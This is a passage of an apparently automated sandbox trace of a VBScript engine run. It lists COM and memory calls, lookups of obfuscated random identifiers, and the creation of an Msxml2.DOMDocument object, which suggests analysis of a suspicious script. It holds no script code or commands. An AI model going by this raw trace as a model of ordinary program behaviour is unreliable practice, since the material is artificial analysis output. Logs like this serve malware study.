ppvObject=0x14c324*=0x1197760) returned 0x0 [0068.825] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="miko", grfdex=0x8, pid=0x14c340 | out: pid=0x14c340*=1360796) returned 0x80020006 [0068.825] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="miko", grfdex=0x8, pid=0x14c298 | out: pid=0x14c298*=-1) returned 0x80020006 [0068.825] GetCurrentThreadId () returned 0xd44 [0068.825] IUnknown:Release (This=0x1197760) returned 0x5 [0068.825] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c324 | out: ppvObject=0x14c324*=0x1197760) returned 0x0 [0068.825] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="t676fttf754vb4xfg6yxygbyu67rfgibgfbnfr7", grfdex=0x8, pid=0x14c340 | out: pid=0x14c340*=1360796) returned 0x80020006 [0068.825] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="t676fttf754vb4xfg6yxygbyu67rfgibgfbnfr7", grfdex=0x8, pid=0x14c298 | out: pid=0x14c298*=-1) returned 0x80020006 [0068.825] GetCurrentThreadId () returned 0xd44 [0068.825] IUnknown:Release (This=0x1197760) returned 0x5 [0068.826] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c324 | out: ppvObject=0x14c324*=0x1197760) returned 0x0 [0068.826] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="skswejgweogvgr72e3", grfdex=0x8, pid=0x14c340 | out: pid=0x14c340*=1360796) returned 0x80020006 [0068.826] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="skswejgweogvgr72e3", grfdex=0x8, pid=0x14c298 | out: pid=0x14c298*=-1) returned 0x80020006 [0068.826] GetCurrentThreadId () returned 0xd44 [0068.826] IUnknown:Release (This=0x1197760) returned 0x5 [0068.826] ??2@YAPAXI@Z () returned 0x86a0b90 [0068.826] malloc (_Size=0x804) returned 0x8790008 [0068.826] ??2@YAPAXI@Z () returned 0x8460768 [0068.827] ??3@YAXPAX@Z () returned 0x1 [0068.827] malloc (_Size=0x204) returned 0x8790818 [0068.827] malloc (_Size=0x40) returned 0x11977f0 [0068.827] malloc (_Size=0x258) returned 0x11c1e90 [0068.827] ??2@YAPAXI@Z () returned 0x1129260 [0068.827] free (_Block=0x83d08e0) [0068.827] free (_Block=0x8790008) [0068.827] ??3@YAXPAX@Z () returned 0x740001 [0068.827] free (_Block=0x11977f0) [0068.827] free (_Block=0x8790818) [0068.827] free (_Block=0x83d71e0) [0068.827] ??2@YAPAXI@Z () returned 0x86a0b90 [0068.827] ??2@YAPAXI@Z () returned 0x83fd5e8 [0068.828] IUnknown:AddRef (This=0x1197760) returned 0x6 [0068.828] IUnknown:AddRef (This=0x1197760) returned 0x7 [0068.828] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bdf4 | out: ppvObject=0x14bdf4*=0x1197760) returned 0x0 [0068.828] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="kvjusvsfdcsb", grfdex=0x8, pid=0x14be10 | out: pid=0x14be10*=1359468) returned 0x80020006 [0068.828] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="kvjusvsfdcsb", grfdex=0x8, pid=0x14bd68 | out: pid=0x14bd68*=-1) returned 0x80020006 [0068.828] GetCurrentThreadId () returned 0xd44 [0068.829] IUnknown:Release (This=0x1197760) returned 0x7 [0068.829] ??2@YAPAXI@Z () returned 0x838c598 [0068.829] GetCurrentThreadId () returned 0xd44 [0068.829] ??2@YAPAXI@Z () returned 0x1105c40 [0068.829] malloc (_Size=0x40) returned 0x11977f0 [0068.829] malloc (_Size=0x104) returned 0x83d71e0 [0068.829] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bdf4 | out: ppvObject=0x14bdf4*=0x1197760) returned 0x0 [0068.829] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="cvbnm", grfdex=0x8, pid=0x14be10 | out: pid=0x14be10*=1359468) returned 0x80020006 [0068.829] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="cvbnm", grfdex=0x8, pid=0x14bd68 | out: pid=0x14bd68*=-1) returned 0x80020006 [0068.829] GetCurrentThreadId () returned 0xd44 [0068.829] IUnknown:Release (This=0x1197760) returned 0x7 [0068.830] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bdf4 | out: ppvObject=0x14bdf4*=0x1197760) returned 0x0 [0068.830] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="soswjwslvc", grfdex=0x8, pid=0x14be10 | out: pid=0x14be10*=1359468) returned 0x80020006 [0068.830] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="soswjwslvc", grfdex=0x8, pid=0x14bd68 | out: pid=0x14bd68*=-1) returned 0x80020006 [0068.830] GetCurrentThreadId () returned 0xd44 [0068.830] IUnknown:Release (This=0x1197760) returned 0x7 [0068.830] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bdf4 | out: ppvObject=0x14bdf4*=0x1197760) returned 0x0 [0068.830] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="mosdoepfy9eqje", grfdex=0x8, pid=0x14be10 | out: pid=0x14be10*=1359468) returned 0x80020006 [0068.830] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="mosdoepfy9eqje", grfdex=0x8, pid=0x14bd68 | out: pid=0x14bd68*=-1) returned 0x80020006 [0068.830] GetCurrentThreadId () returned 0xd44 [0068.830] IUnknown:Release (This=0x1197760) returned 0x7 [0068.830] malloc (_Size=0x204) returned 0x11c20f0 [0068.830] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bdf4 | out: ppvObject=0x14bdf4*=0x1197760) returned 0x0 [0068.831] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="vposaleusaogr", grfdex=0x8, pid=0x14be10 | out: pid=0x14be10*=1359468) returned 0x80020006 [0068.831] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="vposaleusaogr", grfdex=0x8, pid=0x14bd68 | out: pid=0x14bd68*=-1) returned 0x80020006 [0068.831] GetCurrentThreadId () returned 0xd44 [0068.831] IUnknown:Release (This=0x1197760) returned 0x7 [0068.832] ??2@YAPAXI@Z () returned 0x86a0bf0 [0068.832] malloc (_Size=0x804) returned 0x8790008 [0068.832] ??2@YAPAXI@Z () returned 0x8460768 [0068.832] ??3@YAXPAX@Z () returned 0x1 [0068.832] malloc (_Size=0x40) returned 0x1197838 [0068.832] malloc (_Size=0x1c8) returned 0x11c7d90 [0068.832] ??2@YAPAXI@Z () returned 0x11291c0 [0068.833] free (_Block=0x83d08e0) [0068.833] free (_Block=0x8790008) [0068.833] ??3@YAXPAX@Z () returned 0xffff0001 [0068.833] free (_Block=0x1197838) [0068.833] free (_Block=0x8790818) [0068.833] free (_Block=0x11c2300) [0068.833] ??2@YAPAXI@Z () returned 0x86a0bf0 [0068.833] ??2@YAPAXI@Z () returned 0x83fd610 [0068.833] IUnknown:AddRef (This=0x1197760) returned 0x8 [0068.833] CLSIDFromProgIDEx (in: lpszProgID="Msxml2.DOMDocument", lpclsid=0x14bb3c | out: lpclsid=0x14bb3c*(Data1=0xf6d90f11, Data2=0x9c73, Data3=0x11d3, Data4=([0]=0xb3, [1]=0x2e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0xb, [7]=0xb4))) returned 0x0 [0068.833] SysStringLen (param_1=0x0) returned 0x0 [0068.833] CoGetClassObject (in: rclsid=0x14bb3c*(Data1=0xf6d90f11, Data2=0x9c73, Data3=0x11d3, Data4=([0]=0xb3, [1]=0x2e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0xb, [7]=0xb4)), dwClsContext=0x15, pvReserved=0x0, riid=0x66894174*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x14bb2c | out: ppv=0x14bb2c*=0x72b7d4b8) returned 0x0 [0068.834] DOMDocument:IUnknown:QueryInterface (in: This=0x72b7d4b8, riid=0x668a1100*(Data1=0x342d1ea0, Data2=0xae25, Data3=0x11d1, Data4=([0]=0x89, [1]=0xc5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), ppvObject=0x14bb28 | out: ppvObject=0x14bb28*=0x0) returned 0x80004002 [0068.834] DOMDocument:IClassFactory:CreateInstance (in: This=0x72b7d4b8, pUnkOuter=0x0, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14bb30 | out: ppvObject=0x14bb30*=0x5547f8) returned 0x0 [0068.835] DOMDocument:IUnknown:AddRef (This=0x72b7d4b8) returned 0x1 [0068.836] DOMDocument:IUnknown:QueryInterface (in: This=0x5547f8, riid=0x668a0580*(Data1=0xfc4801a3, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x14baf4 | out: ppvObject=0x14baf4*=0x554824) returned 0x0 [0068.836] ??2@YAPAXI@Z () returned 0x1112920 [0068.836] DOMDocument:IObjectWithSite:SetSite (This=0x554824, pUnkSite=0x1112920) returned 0x0 [0068.836] DOMDocument:IUnknown:QueryInterface (in: This=0x1112920, riid=0x764097c4*(Data1=0x1b, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14b9a8 | out: ppvObject=0x14b9a8*=0x0) returned 0x80004002 [0068.836] DOMDocument:IUnknown:QueryInterface (in: This=0x1112920, riid=0x76413e0c*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14b998 | out: ppvObject=0x14b998*=0x0) returned 0x80004002 [0068.836] DOMDocument:IUnknown:AddRef (This=0x1112920) returned 0x2 [0068.836] DOMDocument:IUnknown:QueryInterface (in: This=0x1112920, riid=0x72b7c7c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14ba58 | out: ppvObject=0x14ba58*=0x1112920) returned 0x0 [0068.836] DOMDocument:IUnknown:QueryInterface (in: This=0x1112920, riid=0x72b9d3a4*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14a9b8 | out: ppvObject=0x14a9b8*=0x1112920) returned 0x0 [0068.836] DOMDocument:IServiceProvider:QueryService (in: This=0x1112920, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14a98c | out: ppvObject=0x14a98c*=0x0) returned 0x80004002 [0068.836] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14a920 | out: ppvObject=0x14a920*=0x83fd480) returned 0x0 [0068.836] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14a91c | out: ppvObject=0x14a91c*=0x83fd490) returned 0x0 [0068.836] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd490, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14a98c | out: ppvObject=0x14a98c*=0x0) returned 0x80004002 [0068.836] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x6 [0068.836] VBScriptEngine5:IUnknown:Release (This=0x83fd490) returned 0x5 [0068.836] DOMDocument:IServiceProvider:QueryService (in: This=0x1112920, guidService=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x14a994 | out: ppvObject=0x14a994*=0x0) returned 0x80004002 [0068.836] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14a920 | out: ppvObject=0x14a920*=0x83fd480) returned 0x0 [0068.836] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14a91c | out: ppvObject=0x14a91c*=0x83fd490) returned 0x0 [0068.837] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd490, guidService=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x14a994 | out: ppvObject=0x14a994*=0x0) returned 0x80004002 [0068.837] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x6 [0068.837] VBScriptEngine5:IUnknown:Release (This=0x83fd490) returned 0x5 [0068.837] DOMDocument:IServiceProvider:QueryService (in: This=0x1112920, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x14a9b4 | out: ppvObject=0x14a9b4*=0x0) returned 0x80004002 [0068.837] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14a920 | out: ppvObject=0x14a920*=0x83fd480) returned 0x0 [0068.837] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14a91c | out: ppvObject=0x14a91c*=0x83fd490) returned 0x0 [0068.837] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd490, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x14a9b4 | out: ppvObject=0x14a9b4*=0x0) returned 0x80004002 [0068.837] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x6 [0068.837] VBScriptEngine5:IUnknown:Release (This=0x83fd490) returned 0x5 [0068.837] DOMDocument:IServiceProvider:QueryService (in: This=0x1112920, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x14a9b4 | out: ppvObject=0x14a9b4*=0x0) returned 0x80004002 [0068.837] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14a920 | out: ppvObject=0x14a920*=0x83fd480) returned 0x0 [0068.837] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14a91c | out: ppvObject=0x14a91c*=0x83fd490) returned 0x0 [0068.837] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd490, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x14a9b4 | out: ppvObject=0x14a9b4*=0x0) returned 0x80004002 [0068.837] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x6 [0068.837] VBScriptEngine5:IUnknown:Release (This=0x83fd490) returned 0x5 [0068.837] DOMDocument:IUnknown:Release (This=0x1112920) returned 0x3 [0068.837] DOMDocument:IUnknown:QueryInterface (in: This=0x1112920, riid=0x72b7c82c*(Data1=0x2933bf81, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppvObject=0x14a9c0 | out: ppvObject=0x14a9c0*=0x0) returned 0x80004002 [0068.837] DOMDocument:IUnknown:QueryInterface (in: This=0x1112920, riid=0x72b9da58*(Data1=0x118, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14a9a8 | out: ppvObject=0x14a9a8*=0x0) returned 0x80004002 [0068.837] DOMDocument:IUnknown:QueryInterface (in: This=0x1112920, riid=0x72b9d3a4*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14a9c4 | out: ppvObject=0x14a9c4*=0x1112920) returned 0x0 [0068.837] DOMDocument:IServiceProvider:QueryService (in: This=0x1112920, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14a9b0 | out: ppvObject=0x14a9b0*=0x0) returned 0x80004002 [0068.838] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14a978 | out: ppvObject=0x14a978*=0x83fd480) returned 0x0 [0068.838] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14a974 | out: ppvObject=0x14a974*=0x83fd490) returned 0x0 [0068.838] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd490, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14a9b0 | out: ppvObject=0x14a9b0*=0x0) returned 0x80004002 [0068.838] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x6 [0068.838] VBScriptEngine5:IUnknown:Release (This=0x83fd490) returned 0x5 [0068.838] DOMDocument:IServiceProvider:QueryService (in: This=0x1112920, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b7c82c*(Data1=0x2933bf81, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppvObject=0x14a9c0 | out: ppvObject=0x14a9c0*=0x0) returned 0x80004002 [0068.838] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14a978 | out: ppvObject=0x14a978*=0x83fd480) returned 0x0 [0068.838] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14a974 | out: ppvObject=0x14a974*=0x83fd490) returned 0x0 [0068.838] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd490, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b7c82c*(Data1=0x2933bf81, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppvObject=0x14a9c0 | out: ppvObject=0x14a9c0*=0x0) returned 0x80004002 [0068.838] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x6 [0068.838] VBScriptEngine5:IUnknown:Release (This=0x83fd490) returned 0x5 [0068.838] DOMDocument:IServiceProvider:QueryService (in: This=0x1112920, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x14a9b4 | out: ppvObject=0x14a9b4*=0x0) returned 0x80004002 [0068.838] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14a978 | out: ppvObject=0x14a978*=0x83fd480) returned 0x0 [0068.838] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd480, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14a974 | out: ppvObject=0x14a974*=0x83fd490) returned 0x0 [0068.838] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd490, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x14a9b4 | out: ppvObject=0x14a9b4*=0x0) returned 0x80004002 [0068.838] VBScriptEngine5:IUnknown:Release (This=0x83fd480) returned 0x6 [0068.838] VBScriptEngine5:IUnknown:Release (This=0x83fd490) returned 0x5 [0068.838] DOMDocument:IServiceProvider:QueryService (in: This=0x1112920, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, 